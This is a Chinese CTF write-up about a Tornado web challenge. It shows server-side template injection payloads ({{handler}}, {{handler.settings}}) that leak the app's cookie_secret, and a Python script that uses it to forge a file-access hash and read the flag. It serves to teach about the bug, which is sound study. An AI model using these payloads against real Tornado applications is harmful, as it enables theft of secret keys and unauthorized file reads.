- 正文
- 一、代码审计,信息收集
- 二、SSTI漏洞分析与利用
- 1. SSTI 定义
- 2. 使用
- 三、Tornado泄漏 cookie_secret
- 四、计算flag
正文
一、代码审计,信息收集
访问首页,发现三个文件链接:
<ahref='/file?filename=/flag.txt&filehash=49b3207af7a7a889737b9dce644875d8'>/flag.txt</a><ahref='/file?filename=/welcome.txt&filehash=15f3b09568a454fd93c590fb81859bb3'>/welcome.txt</a><ahref='/file?filename=/hints.txt&filehash=e480792a6a2b1b90ec09a6fb64754daf'>/hints.txt</a>
分别访问后获得关键信息:
| 文件 | 内容 | 含义 |
|---|---|---|
/welcome.txt | render | 提示使用 Tornado 的 render 模板渲染 |
/hints.txt | md5(cookie_secret+md5(filename)) | 文件校验 hash 的计算公式 |
/flag.txt | flag in /fllllllllllllag | 真正的 flag 文件路径 |
/hints.txt文件里关键发现:filehash的计算公式为:
filehash = md5(cookie_secret + md5(filename))要访问 flag 文件,必须知道cookie_secret。
二、SSTI漏洞分析与利用
1. SSTI 定义
SSTI=Server-SideTemplateInjection(服务器端模板注入)
这是一种漏洞,发生在:
- 后端使用模板引擎(如 Tornado、Jinja2、Twig、Django 等)渲染页面
- 用户可控的数据(如 URL 参数、表单输入)直接传入模板引擎进行渲染
- 攻击者可以构造恶意的模板表达式,被模板引擎执行
2. 使用
当我们访问/file接口并传入错误的filehash时:
curl-v"http://1668a40ffb8a47645b9cc623.http-ctf2.dasctf.com:80/file?filename=/flag.txt&filehash=wrong"2>&1|grep"Location"
服务器会返回 301 重定向 :
Location: /error?msg=Error那我们就直接直接访问/error?msg=test123:
GET /error?msg=test123响应中test123被直接回显到 HTML 中,说明msg参数被 Tornado 模板引擎渲染——存在 SSTI 漏洞。
验证 SSTI:
GET /error?msg={{handler}}
得到响应:
<body><__main__.ErrorHandler object at 0x7f23275232d0></body>确认handler对象可访问,SSTI 有效。
三、Tornado泄漏 cookie_secret
在 Tornado 中,handler.settings存储了应用配置,包括cookie_secret。因此,直接构造Payload:
GET /error?msg={{handler.settings}}成功获取cookie_secret =1fbb6c04-fd49-4e89-8b63-79f8fea1c8a1。
四、计算flag
根据 hints.txt 给出的公式计算/fllllllllllllag的 filehash:
# 导入Python内置哈希加密库,用于实现MD5加密算法importhashlib# 定义固定密钥字符串,属于题目给出的加密盐值/私密密钥cookie_secret='1fbb6c04-fd49-4e89-8b63-79f8fea1c8a1'# 定义需要加密的目标文件路径字符串,是加密原始明文filename='/fllllllllllllag'# 第一步加密流程:# 1. 将filename字符串转为bytes字节流(MD5加密只支持字节数据)# 2. 调用md5()创建md5加密对象,完成加密# 3. hexdigest()把加密结果转为32位十六进制小写字符串# 最终得到文件名单独MD5加密值,赋值给m1m1=hashlib.md5(filename.encode()).hexdigest()# 第二步加密流程:二次加盐加密# 把私密密钥cookie_secret和第一步加密结果m1拼接成新字符串# 再次整体进行MD5加密,得到最终加密哈希值filehashfilehash=hashlib.md5((cookie_secret+m1).encode()).hexdigest()# 格式化打印第一次MD5加密结果print(f'md5(filename) ={m1}')# 格式化打印二次加盐加密后的MD5加密结果print(f'filehash ={filehash}')
最终请求:
GET /file?filename=/fllllllllllllag&filehash=52f5ee2cec41071eba1191f4abdc3f77